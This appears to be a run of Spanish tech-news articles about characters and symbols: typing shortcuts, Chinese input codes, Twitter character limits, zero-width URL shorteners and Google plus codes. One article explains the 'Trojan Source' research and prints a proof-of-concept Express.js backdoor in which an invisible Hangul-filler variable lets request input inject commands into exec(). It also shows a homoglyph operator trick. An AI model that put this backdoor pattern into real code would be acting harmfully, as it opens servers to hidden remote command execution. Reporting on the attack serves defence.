En los libros aparecen con toda naturalidad, pero cuando llega el momento de reproducirlos en un documento de Word, un correo electrónico o un simple chat, la cosa cambia. Hablamos de esos símbolos tipográficos que forman parte del buen uso del idioma —la raya de diálogo, las comillas angulares, los puntos suspensivos como carácter único, o el apóstrofo tipográfico— y que, sin embargo, no tienen un acceso directo en el teclado estándar.

El resultado suele ser una sucesión de apaños: guiones dobles (--) en lugar de rayas, tres puntos seguidos (...) en vez de los puntos suspensivos reales, o las comillas rectas (" ") usadas como sustitutas universales. Para el ojo entrenado, estos “parches” (que no "parches") se notan y empobrecen el texto.

Repasemos, así, los principales símbolos que se encuentran en esa situación, para qué sirven, por qué conviene usarlos bien y —lo más práctico— cómo escribirlos en Windows, macOS y Linux.

La estrella del diálogo: la raya (—)

Es uno de los más buscados por quienes escriben narrativa. La raya larga o de diálogo (Unicode U+2014, también llamada em dash) no debe confundirse con el guion (-), ni con la semirraya (–). En español, la raya larga se utiliza en acotaciones, o en cada intervención de un personaje durante un diálogo:

—¿Vas a venir? —preguntó Marta.

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Nadie sabe qué significa este símbolo, quién lo creó ni por qué puedes escribirlo en tu PC

Hasta ahora, en Windows solo era posible escribirla recurriendo a combinaciones de teclas poco intuitivas como Alt + 0151 (requiere teclado numérico), mientras que en Mac, la combinación ⌥ Option + ⇧ Shift + - lo resolvía, mientras que en Linux se logra con la tecla Compose (Compose + - - -).

La buena noticia es que recientemente Microsoft ha anunciado la inminente llegada de un nuevo atajo oficial para insertar este símbolo en Windows 11. Según anunció Microsoft, el acceso directo ya se está probando en las compilaciones de prueba (canal Dev) y llegará a todos los usuarios a lo largo de 2025:

"A partir de ahora, al presionar WIN + Menos (-) se insertará una semirraya, y al presionar WIN + Mayúsc. + Menos (-) se insertará una raya de diálogo. Nota: si estás usando la Lupa, WIN + Menos (-) seguirá reduciendo el zoom de la Lupa en lugar de insertar una semirraya".

Un alivio para quienes hasta ahora recurrían a trucos, macros o la eterna función de copiar y pegar.

La semirraya (–): un signo discreto pero útil

Menos conocida, pero igual de necesaria, es la semirraya (Unicode U+2013, en dash). Se usa para rango numérico (1939–1945) o para contraposiciones (Madrid–Barcelona).

En Windows se obtiene con Alt + 0150 (y, en breve, con el nuevo método explicado arriba), en Mac con ⌥ Option + -, y en Linux con Compose + - -.

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Las teclas 'Enter' y 'Return' de tu PC no hacen lo mismo, aunque lo parezca: estas son sus diferencias

Los puntos suspensivos (…)

Aunque en el teclado lo habitual es que escribamos tres puntos seguidos, en realidad existe un carácter único para los puntos suspensivos (Unicode U+2026). La diferencia es más que estética: el espaciado se comporta de forma correcta y evita cortes extraños.

• Windows: Alt + 0133.
• Mac: ⌥ Option + ;.
• Linux: Compose + . . ..

Las comillas que mandan en español: « »

Las comillas angulares o latinas (Unicode U+00AB y U+00BB) son las recomendadas por la RAE. Sin embargo, la mayoría termina(mos) usando las tipográficas o inglesas (“ ”) o incluso las rectas (" ").

• Windows: Alt + 0171 para « y Alt + 0187 para ».
• Mac: se insertan desde el Visor de caracteres (Ctrl + Cmd + Espacio).
• Linux: Compose + << → « y Compose + >> → ».

Las comillas tipográficas “ ” y el apóstrofo ’

Aunque el teclado nos ofrece solo comillas rectas, en tipografía se usan las comillas curvas: “ ” (dobles) y ‘ ’ (simples). El apóstrofo tipográfico es en realidad este último carácter (’), y no la comilla recta.

En Windows se logran con combinaciones Alt (0147, 0148, 0145, 0146) y en Mac con atajos que involucran la tecla Option. Al menos en Word, Google Docs y Pages es posible activar la opción de “usar comillas tipográficas” para que la sustitución se haga de forma automática.

Símbolos menos frecuentes pero importantes

• § (signo de párrafo): aparece en textos legales y referencias.
• ¶ (calderón o pilcrow): usado en edición para marcar párrafos.
• ≤, ≥, ≠, ±: habituales en textos científicos y técnicos.
• Flechas (→, ←, ↔): recurrentes en manuales y esquemas.
• Viñetas y dagas (•, †, ‡): notas y listados.
• Interrobang (‽): una curiosidad editorial que mezcla “?” y “!”.

Todos ellos se insertan con atajos Alt en Windows, Option en Mac, o secuencias Compose en Linux.

Los recursos universales: paneles y buscadores

No hace falta memorizar docenas de atajos para cada símbolo: los sistemas operativos modernos incluyen paneles de caracteres ocultos que permiten acceder a todo el repertorio tipográfico con apenas un par de teclas.

Dos opciones en Windows

• Panel de emojis y símbolos: con Win + . (tecla Windows + punto) se abre una pequeña ventana flotante. Allí no solo están los emojis: si cambias de pestaña encontrarás secciones para símbolos de puntuación, flechas, signos matemáticos, letras griegas, etc.

• Mapa de caracteres clásico: accesible desde el menú inicio buscando Mapa de caracteres. Es más rudimentario, pero útil para copiar cualquier carácter Unicode.

Visor de caracteres en macOS

Con Ctrl + Cmd + Espacio se abre un menú emergente que

• Incluye categorías (puntuación, flechas, matemáticos, emojis).
• Permite buscar por nombre (en inglés: guillemet, ellipsis, em dash).
• Muestra además variantes tipográficas del mismo carácter (p. ej. distintos estilos de comillas).
• Menú desplegable permanente: puedes fijar el Visor en la barra de menús para tenerlo siempre accesible con un clic.
• Sustituciones automáticas: en Preferencias del sistema > Teclado > Texto, puedes crear atajos personalizados (por ejemplo, escribir -- y que se convierta en —).

Una cuestión de estilo

En un chat informal, probablemente nadie se queje de ver tres puntos seguidos o un doble guion. Pero en literatura, periodismo, investigación académica o comunicación profesional, el cuidado tipográfico marca la diferencia.

Respetar la raya en un diálogo, usar las comillas adecuadas para cada ocasión o escribir los puntos suspensivos como corresponde no es un capricho estético: es escribir con rigor, del mismo modo que lo hicieron los tipógrafos que diseñaron los libros que leemos.

Y ahora, con la llegada de atajos más accesibles —como el que prepara Microsoft para la omnipresente raya de diálogo—, las excusas empiezan a agotarse.

Imagen | Marcos Merino mediante IA

En Genbeta | De  'cederrón' a 'bitcóin' pasando por 'zum': todas las palabras  tecnológicas que la RAE ha ido aceptando con mayor o menor acierto

En el imaginario tecnológico occidental, las grandes ideas nacen en garajes. En China, sin embargo, una de las innovaciones más cruciales del siglo XX germinó en una celda de seis metros cuadrados durante uno de los períodos más oscuros de su historia reciente.

Si has leído 'El problema de los tres cuerpos' de Cixin Liu (o has visto el primer episodio de la adaptación estadounidense), recordarás que comienza con una sesión de humillación pública y ejecución del académico Ye Zhetai por enseñar la teoría 'contrarrevolucionaria' del Big Bang. Eran los tiempos de la llamada "Revolución Cultural".

Ye Zhetai nunca existió, claro, pero otro profesor (este muy real, llamado Zhi Bingyi) fue encarcelado en 1968 bajo la acusación de ser una "autoridad académica reaccionaria".

Lo que los revolucionarios maoístas no pudieron imaginar es que, desde esa pequeña celda (y sin tener ni siquiera papel a mano), este físico e ingeniero transformaría el destino del idioma chino en la era digital (y, con él, el de la propia República Popular China), armado únicamente con una tapa de taza de té y un bolígrafo robado.

Una mente brillante entre rejas

Zhi había sido un científico respetado, que había estudiado en Alemania, rechazado ofertas laborales en Estados Unidos y contribuido al desarrollo tecnológico de la nueva China comunista. Pero en la China de Mao, la intelectualidad terminó convirtiéndose en 'enemiga del pueblo': en las prisiones y 'campos de trabajo', los académicos eran reeducados con pala y azadón.

Aislado de su trabajo, de su esposa alemana y del mundo exterior, Zhi no contaba con más compañía que un cartel del Partido Comunista pegado a la pared con una advertencia tan ominosa como totalitaria:

"Benevolencia para quien confiese, severidad para quien resista".

Pero tras leerlo cientos o miles de veces, los caracteres chinos comenzaron a transformarse ante sus ojos, y empezó a apreciarlos como estructuras lógicas. Los analizó como un ingeniero analiza un circuito: trazo por trazo, componente por componente. Y se preguntó: ¿cómo puede una máquina leer esto?

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La evolución del alfabeto desde sus formas ancestrales hasta la actualidad, en un gráfico

El reto de trascribir con lógica binaria

Y es que, para que China pudiera participar en la naciente era de la informática, necesitaba algo esencial: lograr que sus caracteres, complejos y numerosos, fueran legibles para las computadoras.

A diferencia del alfabeto latino, el chino no tiene letras ni ortografía fonética. Cada palabra es un ideograma cargado de historia y forma visual. Eso hacía casi imposible introducirlos en la lógica de la programación de software (o en el limitado espacio de los teclados).

Zhi se propuso resolver este problema (al fin y al cabo, no es que tuviera nada más que hacer en ese momento), y encontró para ello una herramienta inesperada: la tapa de su taza de té. Usándola como una pizarra improvisada, comenzó a descomponer caracteres chinos en sus componentes básicos —llamados radicales— y a asignarles letras del alfabeto latino basadas en su pronunciación en pinyin.

Así nació un sistema que permitía representar visualmente un carácter chino con una secuencia de letras.

Pero su objetivo no era transcribir la fonética del chino, como hace el pinyin, sino algo más ambicioso: crear una interfaz entre el idioma y las máquinas. En otras palabras, traducir el sistema gráfico más complejo del mundo a un lenguaje que un ordenador pudiera entender y procesar con un teclado QWERTY occidental.

Zhi Code: un alfabeto para ideogramas

Zhi combinó dos enfoques previos para codificar el idioma: el fonético (usando el sistema pinyin) y el morfológico (basado en la forma de los caracteres). Pero encontró sus límites: el pinyin generaba demasiados homófonos, y el enfoque visual seguía siendo difícil de traducir al código de una máquina.

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Si la pregunta es "por qué los árabes escriben con números", la respuesta es "por uno de los fenómenos sociolingüísticos más curiosos del siglo"

Su solución final fue brillante por su simplicidad: representar cada carácter chino con una secuencia de letras basada en los componentes visuales del ideograma, usando la inicial del pinyin de cada componente. Así, por ejemplo, el carácter 路 (lu, 'camino') podía dividirse en 口 (kou), 止 (zhi), 攵 (pu) y 口 (kou) de nuevo, dando como resultado el código "KZPK".

Este método resolvía varios problemas simultáneamente: evitaba la ambigüedad de los homófonos del pinyin, permitía representar caracteres con solo cuatro teclas (la mayoría de los caracteres chinos se pueden dividir en dos a cuatro partes) y no requería memorizar secuencias arbitrarias. Además, era compatible con el orden natural de los trazos, lo que facilitaba su aprendizaje a quienes ya sabían escribir chino a mano.

Zhi también propuso extensiones al sistema que incluían datos adicionales como la estructura del carácter (izquierda-derecha, arriba-abajo) o su pronunciación general, aumentando así su aplicabilidad en tareas como traducción automática o recuperación de información.

Del anonimato a la revolución digital

Cuando Zhi fue liberado en 1969, la revolución tecnológica aún parecía lejana. Pasó años en puestos marginales (por ejemplo, barriendo suelos). Pero no dejó de trabajar en su código: convirtió un almacén en su laboratorio secreto, recolectando revistas extranjeras (para estudiar los avances de otros países en el campo de la informatización de caracteres) y perfeccionando su sistema.

Así, se enteró de que otros países —como Japón, Australia, EE.UU.— también intentaban resolver el mismo problema, pero con métodos menos eficientes, como teclados gigantes con cientos de caracteres. Su sistema, sin embargo, apostaba por hacer más con menos.

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El regulador de Internet chino obligará a que los algoritmos de recomendación promuevan los "valores sociales predominantes"

Fue en 1978 cuando, tras la muerte de Mao y el inicio de la apertura económica, China comenzó a valorar nuevamente la ciencia... y a importar computadoras occidentales. El problema que se les planteaba era obvio: esos equipos no estaban diseñados para un idioma con más de 50.000 caracteres.

Pero fue en ese momento, Zhi publicó su sistema en la revista 'Nature' bajo el nombre de “codificación visual directa” (On-Sight Coding System). Por primera vez, los caracteres chinos podían ser introducidos en una computadora con solo cuatro pulsaciones. La noticia fue celebrada en la portada del diario Wenhui Daily con un titular histórico:

"El idioma chino ha entrado en la era de la computación".

Posteriormente, a partir de su método, surgieron muchos otros esquemas de entrada que hoy usamos al escribir en mandarín con teclados QWERTY: desde el Wubi hasta el Cangjie. Pero fue el llamado "Zhima" (Código de Zhi) el que sentó las bases para la modernización digital del país.

Imagen | Marcos Merino mediante IA

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Es habitual referirnos al formato de publicación de Twitter como 'microblogging', una referencia a su límite de caracteres (inicialmente, de 140) en un momento en el que la principal alternativa de publicación online eran los blogs, que permitían publicaciones 'de formato largo'. Después de aquello llegó la ampliación a 280 caracteres en 2017... y, desde hoy, se podrá decir que Twitter ya sólo es una red de microblogging para los usuarios de cuentas gratuitas.

Efectivamente: llegan cambios a la red social y, como tantas cosas desde la llegada de Elon Musk, lo hacen de la mano de Twitter Blue, el modelo de suscripción de la plataforma. Lo han anunciado hace unas horas, con un tuit que empezaba así:

need more than 280 characters to express yourself?

we know that lots of you do… and while we love a good thread, sometimes you just want to Tweet everything all at once. we get that.

so we're introducing longer Tweets! you're gonna want to check this out. tap this 👉…

— Premium (@premium) February 8, 2023

"¿Necesitas más de 280 caracteres para expresarte?".

"Sabemos que muchos de vosotros sí... y aunque nos encanta un buen hilo de conversación, a veces solo queréis tuitearlo todo de una vez. Lo entendemos".

A continuación nos anunciaban la inminente implementación de 'tuits más largo' y nos animan a clicar en un novedoso enlace de 'Mostrar más'... que permite acceder al contenido completo del tuit (en su propio apartado, no lo despliega dentro del timeline "para evitar desplazamientos innecesarios").

Y es ahí donde nos desvelan las claves de esta nueva opción: "A partir de hoy, si estás suscrito a Twitter Blue en EE.UU., podrás crear tuits más largos".

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Twitter Blue llega a España: esto es todo lo que ofrece la propuesta de Elon Musk para aumentar ingresos

Concretamente, de hasta 4.000 caracteres. No cuentan, eso sí, con todas las funcionalidades de los tuits clásicos, al menos por ahora: no se pueden guardar como borradores ni podemos programarlos para enviarlos más tarde. Sí es posible, sin embargo, responderlos y retuitearlos, incluso si no somos suscriptores de Twitter Blue.

TwitLonger ya hacía algo parecido (porque esto no ha sido una ocurrencia de Elon Musk)

Pero, y si no resides en EE.UU. y/o no contemplas suscribirte a Twitter Blue... ¿existe algún modo de publicar tuits que sorteen el límite de 280 caracteres? Pues... más o menos. Y es que, aunque parezca una idea que Elon Musk acaba de sacarse de la manga, muchos usuarios llevaban años esperando algo así. Y de hecho, hace ya 9 años, se lanzó un servicio para rellenar esa necesidad que Twitter dejaba insatisfecha: TwitLonger.

Más de 4.000 caracteres, ojo

Lo que nos ofrece es la posibilidad de iniciar sesión con nuestra cuenta de Twitter pero publicar nuestro texto largo en su propia plataforma... para luego enlazarlo fácil (y automáticamente) en un tuit. No es lo mismo (hay que salir de Twitter para publicar y para leer), pero trata de mantener cierta coherencia estética (más con el Twitter antiguo que con el actual) para que no se note tanto. Y sigue siendo más sencillo que abrirte tu propio blog.

Así verá el texto quien entre desde el enlace del tuit.

Imagínate, por un momento, una puerta trasera insertada en un código de programación que se le pase por alto a cualquier revisor humano y que pocos IDEs ayuden a detectar: por muy exhaustivamente que lo comprueben, el código malicioso sigue perfectamente legítimo. Pues deja de imaginártelo…

…porque un grupo de investigadores ya han dejado claro que un ataque de este tipo existe: un 'paper' publicado hace unos días por la Universidad de Cambridge ha demostrado que es posible aplicarlo a algunos de los lenguajes de programación más populares hoy en día.

Este ataque, bautizado como 'Trojan Source' (código troyano) se aprovecha de dos características poco conocidas de los textos:

• Los homoglifos: Caracteres exactamente iguales pese a que representan códigos unicode distintos. Por ejemplo, una cadena como "aBeHKopcTxy" puede hacer referencia a letras muy diferentes dependiendo de si estamos usando el alfabeto latino o el cirílico. Y esto incluye también ciertos caracteres invisibles, que se ven como simples espacios sin serlo.

• El mecanismo bidireccional Unicode: una función que permite coexistir bloques de texto escritos en alfabetos que se escriben de derecha a izquierda con otros que lo hacen de izquierda a derecha.

Veamos un ejemplo

El investigador de seguridad Wolfgang Ettlinger, director de Certitude Consulting, presenta en su blog algunos fragmentos de código que sirven como prueba de concepto del citado tipo de ataque.

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Para evitar ser detectado este malware hasta te pide que completes un CAPTCHA

El primero sería algo tan simple como esto:

if(environmentǃ=ENV_PROD){

En teoría, le estamos diciendo a un programa que haga algo si el valor de 'environment' no coincide con el de ENV_PROD', con '!=" actuando como operador de desigualdad…

…pero en realidad ese '!' no es una exclamación, sino una consonante de algunos idiomas africanos que nosotros conocemos como clic alveolar, por lo que no forma parte del operador, sino del nombre de la variable.

Otro ejemplo de esto es el siguiente texto:

const express = require('express');

const util = require('util');

const exec = util.promisify(require('child_process').exec);

const app = express();

app.get('/network_health', async (req, res) => {

const { timeout,ㅤ} = req.query;

const checkCommands = [

   'ping -c 1 google.com',

   'curl -s http://example.com/',ㅤ

];

try { await Promise.all(checkCommands.map(cmd => cmd && exec(cmd, { timeout: +timeout || 5_000 })));

  res.status(200);

   res.send('ok');

} catch(e) {

   res.status(500);

   res.send('failed');

}

});

app.listen(8080);

En teoría, ese script hace poco más que ejecutar dos comandos del sistema operativo ('ping' y 'curl') con una serie de parámetros referidos URLs. Hay también una variable, 'timeout', que limita el tiempo de ejecución del comando. Nada raro, todo —como decíamos antes— aparentemente legítimo.

Sin embargo, en dos líneas del texto anterior el espacio no es en realidad un espacio, sino un carácter denominado 'relleno Hangul', extraído del alfabeto coreano, que no separa palabras, sino que únicamente representa la ausencia de un glifo.

De tal manera, ese 'espacio' funciona en realidad como una palabra y, por tanto, puede actuar sin problemas como una variable en JavaScript. Así es como cabría leer dichas líneas:

const { timeout,\u3164} = req.query;

...

'curl -s http://example.com/',\u3164

Esto altera por completo la lógica de programación del script, al introducir variables adicionales que pueden usarse para colar parámetros que ejecutarían texto arbitrario si el script en cuestión estuviera disponible en un servidor web.

Viendo esto, los autores del paper proponen algunas soluciones para mitigar la el impacto de esta clase de ciberataques:

"Los compiladores, intérpretes y canalizaciones de compilación compatibles con Unicode deben generar errores o advertencias para caracteres de control bidireccionales.

[…] Los editores de código y los frontends de repositorios" deben hacer que los caracteres de control bidireccionales y los caracteres confusos de script mixto sean perceptibles con símbolos visuales o advertencias".

Nos encanta aprendernos atajos de teclado para dominar toda clase de software sin tocar el ratón, sí, pero admitámoslo: nunca podremos aprendérnoslos todos.

Ni todas las combinaciones de teclas que nos permiten ejecutar acciones sin recurrir al otro clásico periférico ni todos los comandos que nos permiten introducir símbolos a los que no tenemos acceso desde el teclado.

Para solventarnos la papeleta y que no tengamos la necesidad de buscar en Google la combinación que nos permite escribir caracteres y símbolos especiales como ½, ≠ o ⚠, un estudio de diseño australiano ha creado Glyphy.

Caracteres y símbolos especiales a un clic

Glyphy, que viene de la palabra glifos, término con el que habitualmente se denomina a este tipo de caracteres y símbolos especiales, funciona de forma tremendamente sencilla. Solamente un clic.

Basta entrar en glyphy.io, examinar los diferentes glifos disponibles, ubicar el que nos interese y hacer clic con el ratón sobre él. Solo con ello, el carácter o símbolo especial habrá quedado en nuestro portapapeles y podremos pegarlo en cualquier documento, web o aplicación.

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Con esta aplicación puedes crear tus propios atajos de teclado para lo que quieras

Los responsables de Glyphy avisan que todavía no ofrecen todos los caracteres que existen, aunque lo harán. Eso sí, explican que han omitido de forma deliberada aquellos a los que resulta más fácil acceder directamente mediante alguna tecla de nuestro teclado.

Muchas veces queremos enviar un enlace a una persona, pero no queremos que sepa de qué se trata antes de abrirlo. Quizás, por algún motivo, también necesitemos ahorrar el número de caracteres, y es entonces cuando podemos recurrir a un acortador de URLs.

Existen muchas opciones: Bit.ly, UrlHum o incluso maneras de crear el tuyo propio. Hoy vamos a conocer uno un tanto diferente: ZWS (Zero Width Shortener), un servicio que utiliza unos caracteres "invisibles" en la URL.

Mismo enlace, diferentes destinos

El funcionamiento de ZWS es igual al resto de acortadores de enlaces. Una vez que accedamos a su página web veremos un espacio en el que colocar la URL que queramos reducir, pegarla y hacer click en "Shorten" (acortar) para que nos de el link acortado.

Lo que diferencia a ZWS del resto de acortadores de enlaces que utiliza caracteres de ancho cero, un tipo de caracteres "invisibles" (sin impresión) que no se muestran en la mayoría de las aplicaciones.

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Capture: una especie de Reddit en la vida real que utiliza tu cámara para conectarte con grupos de personas

Eso significa que cuando copiemos el enlace acortado sólo veremos "https://zws.im/​​​​‌‌​‌‌​​‌/", y los caracteres que aparecen después de "//" quedaran ocultos. Seguro que algunas personas utilizarán este servicio para bromear con sus amigos, ya que no entenderán cómo un "mismo" enlace puede llevarles a diferentes webs.

Aunque Twitter ahora ya no nos cuenta la URL en el total de caracteres que podemos publicar, desgraciadamente ZWS no funciona en esta red social. De hecho, comprobaremos que en algunas aplicaciones funciona y en otras no.

En mis pruebas tampoco he conseguido que funcione en servicios como Telegram o iMessage, pero en los tests que he realizado desde el navegador funciona correctamente. De todos modos, es un buen servicio si lo que buscamos es confundir a nuestros amigos o a los visitantes de una web.

Google resume de forma muy sencilla qué son los códigos plus: una dirección para personas o lugares que no tienen una. La compañía ha afirmado de forma recurrente que los "próximos mil millones de usuarios" de internet surgirán en países en desarrollo con necesidades diversas como, por ejemplo, localizar las ubicaciones de sus hogares.

De hecho, según una estimación del Banco Mundial de la que se hacen eco desde Mountain View, la mitad de la población urbana del mundo vive en calles sin nombre. Eso significa que no puden indicar dónde viven de una forma razonablemente sencilla con todo lo que ello puede suponer en tantos ámbitos. De esa carencia nace este sistema de código abierto y global, aplicable a cualquier parte del mundo, con el que ubicar un lugar concreto es mucho más sencillo.

El problema es particularmente mayor en países como la India, en el que los formatos de direcciones residenciales varían según las regiones, las localidades e incluso los casos de uso, de ahí que Google haya presentado plus codes con una especial atención a este país, aunque funciones en cualquier rincón del planeta.

Cómo funcionan los códigos plus

Los códigos plus son cortos, simples y fáciles de usar. Constan de un código de área de cuatro caracteres y de un código local compuesto por cuatro, un signo de suma y dos caracteres más, con lo que en total son diez caracteres. Además, se basan en la latitud y la longitud, con lo que se pueden disponer en cuadrícula y describir, como decíamos, todos y cada uno de los puntos del planeta.

Los primeros cuatro caracteres son, decíamos antes, el código de área. Esta identificación comprende una región de aproximadamente 100 x 100 kilómetros. Los siguientes seis caracteres, el código local, describen el vecindario y el edificio, representando aproximadamente 14 x 14 metros. La combinación de ambos códigos, que componen el código global, permiten localizar en primer término una amplia zona del mapa y, a continuación, una ubicación exacta dentro de ella.

En Google explican que si la ubicación está dentro o cerca de una ciudad, el código de área no es necesario. Asimismo, en las zonas rurales, incluso si el pueblo más cercano está a 25 kilómetros de distancia tampoco se necesita dado que puede utilizar el código local junto con el nombre de la ciudad. Por otro lado, si se requiere de una mayor precisión que la que ofrece el código global estándar, se puede utilizar un carácter adicional opcional que representa una área de 3 x 3 metros, aproximadamente las dimensiones de un vehículo pequeño.

El sistema, obra de un grupo de ingenieros de Google, ha sido desarrollado en código abierto. Por lo que cualquier puede ver con detalle cómo funciona y desarrollar sus propias aplicaciones para cualquier propósito.

De momento, los códigos plus puden obtenerse a través de la última actualización de la aplicación de Google Maps, con solamente buscar una ubicación, pulsar sobre ella y comprobar debajo de la dirección, junto a las coordenadas, la aparición de su código global. Desde escritorio, podemos obtenerlo añadiendo a la versión de Google Maps para los códigos plus, plus.codes/map/.

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Hoy se cumple una semana desde que Twitter activara definitivamente los 280 caracteres, uno de los principales cambios en la plataforma desde su lanzamiento. No ha pasado demasiado tiempo, pero en estos días ya hemos visto algunos usos realmente brillantes de este espacio extra.

De esta manera, Twitter quiere reducir el uso de hilos en la red social, permitiendo que cada tuit pueda contener más información. Lejos de incluir hashtags, enlaces o emojis, algunos usuarios han querido ir un paso más allá.

Juegos en Twitter: algo que no veíamos venir

Salvatore Aiello es el creador de una iniciativa realmente sorprendente: @TwtPlayTetris. Gracias a este programador, los usuarios de la red social pueden participar en una partida colectiva, indicándole al algoritmo cómo debe moverse la siguiente pieza.

Esta locura nos recuerda a 'Twitch Plays Pokémon', y cada usuario puede indicar que la pieza se mueva a la izquierda, derecha, rotarla o soltarla. El algoritmo se encargará de recopilar todas las votaciones y realizar el siguiente movimiento.

Al terminar la partida se crea un GIF en el que se resume todo lo ocurrido. A continuación podemos ver un ejemplo, que corresponde a una partida de varias horas de duración:

No es el único juego que hemos visto a partir de los 280 caracteres en Twitter. Otro buen ejemplo es la partida de ajedrez mantenida entre Bryan Menegus y Jack Crosbie. Durante un día estuvieron contestándose y moviendo las piezas manualmente, siendo Menegus en el que declaró el jaque mate:

Parece que los juegos de mesa se llevan a la perfección con los 280 caracteres de Twitter. Puedes estar revisando la actualidad en la red social y de repente encontrarte una partida de Go, Damas o de Conecta Cuatro:

Vida más allá de los juegos

La llegada oficial de los 280 caracteres a Twitter ha causado una sensación en la plataforma y, obviamente, muchas cuentas no han querido la oportunidad de intentar crear tuits virales y divertidos.

A partir de ahora prepárate para hacer scroll, ya que muchos de estos tuits abusan del espacio extra para crear publicaciones kilométricas.

• El Monstruo de las Galletas ha hablado:

• The New York Yankees presumiendo:

• Seinfeld en 2017:

• Pollo y más pollo:

• #Miedo:

• Pizzas y ofertas:

• Adivinanzas musicales:

Como no podía ser de otra manera, algunas celebridades han aprovechado este momento para hacer bromas más extensas (la mayoría precisamente sobre la llegada de los 280 caracteres a Twitter).

• Stephen Colbert sobre la brevedad:

• Los números del Capitán Kirk:

• Josh Groban parece haberse quedado dormido sobre el teclado:

• La presión sobre Sarah Michelle Gellar:

• A Stephen King le sobran 140:

• Más crítica:

Como vemos, se pueden crear cosas realmente impresionantes con los 280 caracteres en Twitter. Desgraciadamente, esto también significa que Donald Trump tiene mucho más espacio para tuitear.

En Genbeta | El estado de las redes sociales en 2017

¿Es un pájaro? ¿Es un avión? No, es el círculo que remplaza al contador de caracteres en Twitter. Anoche, definitivamente, la red social aumentó el límite de caracteres a 280. Todos los usuarios, no solamente los afortunados elegidos para las pruebas y aquellos que encontraron algún truco, disfrutan ya de la nueva longitud. Sin embargo, algo más ha cambiado: la forma de contarlos.

Si hasta el momento encontrábamos un contador junto al espacio en el que escribir nuestros tuits, tanto en la web, como en las aplicaciones o TweetDeck, ahora vemos un círculo gris. O, siendo más precisos, una circunferencia. En lugar de descontar caracteres del límite, como antes, este nuevo contador cambia de color a medida que se escribe. Del azul al naranja, cuando nos quedan 20 caracteres o menos, y al rojo, cuando hemos alcanzado el tope.

La reacción de los tuiteros: sorpresa, confusión, bromas...

Este cambio sustancial no iba a quedar sin comentarios, más si cabe tratándose de Twitter. Tras los primeros minutos con él, aquellos que tenían la aplicación actualizada y recibieron sin más trámite la novedad, advirtieron rápidamente ese nuevo icono. Algunos con confusión sobre su significado, sin saber muy bien si tenía relación con el nuevo límite de 280 caracteres; otros con sorpresa.

Acostumbrados a un contador que indicaba de forma clara cuántos caracteres más se podían escribir, los usuarios notaban la alteración y comenzaban a elucubrar sobre posibles explicaciones. Mientras, algunos coincidían en su enfado.

¿Será una treta de Twitter para que escribamos más? ¿Tal vez es todo lo contrario y buscan quitarnos de en medio la ansiedad por llenar un tuit con 280 caracteres? ¿Y si se trata de un truco psicológico porque quieren que dejemos de tener en cuenta si escribimos más o menos, haciéndolo más libremente?

Sea como sea y como suele ser habitual en Twitter: nadie se pone de acurdo y pocos están contentos con el cambio. Algunos dicen que es otra de esas características que nadie ha pedido, cuando tienen muchas más cuestiones por resolver; otros que con la nueva limitación se pierde la esencia... El truco para asimilarlo está en verle el lado bueno, como a casi todo.

En Xataka | ¡Twitter con 280 caracteres para todos! El nuevo límite se abre a todos los usuarios de la red social

Si durante el fin de semana no guardaste el móvil en un cajón ni abandonaste Twitter, puede ser que te cruzases en tu cronología con un mensaje que iba mucho más allá de los 140 o los 280 caracteres: un tuit de unos 30.000 caracteres. ¿Jack Dorsey ha querido revolucionar su red social? ¿Se trata de un nuevo error? ¿Otro empleado marchándose? Nada de eso.

El tuit tenía concretamente 30.396 caracteres, los hemos contado, pero no se trataba de una ampliación del límite de los mensajes, accidental o intencionada, ni de un clamoroso error de la plataforma. Los dos usuarios alemanes responsables de tal hazaña, Timrasett y HackneyYT, unieron fuerzas para aprovechar que los enlaces ya no cuentan en el límite de caracteres desde 2016.

Un galimatías con forma de URL

El principio del mensaje en el que estos dos tuiteros saludan en alemán, se presentan y cuentan qué van a hacer, aunque se pasaron de caracteres afirmando que el tuit contendría 35.000, fue borrado por Twitter cuando comenzó a popularizarse. Aunque podemos encontrarlo en The Internet Archive.

Como explicaba el usuario hexwaxwing en el tuit que precede estas líneas, el grueso del infinito mensaje es una sola dirección URL escondida entre infinidad de números y letras. 27.024 caracteres que terminan con el dominio, .cc, una barra, y un supuesto directorio de 3.244 caracteres adicionales que ayudan a redondear todavía más la cifra.

El tuit en cuestión, durante el tiempo que permaneció dando vueltas por la plataforma, bloqueó momentáneamente la aplicación en los dispositivos de algunos usuarios.

A pesar de que Twitter lo borró, suspendió temporalmente las cuentas de los autores y afirmó a medios como Engadget que han tomado medidas para que no se aproveche la función de esta manera, uno de los tuiteros alemanes afirmó que esto solamente fue el comienzo. ¿Qué tramarán?

En Genbeta | Todas las cosas que debería hacer Twitter para mejorar antes que los 280 caracteres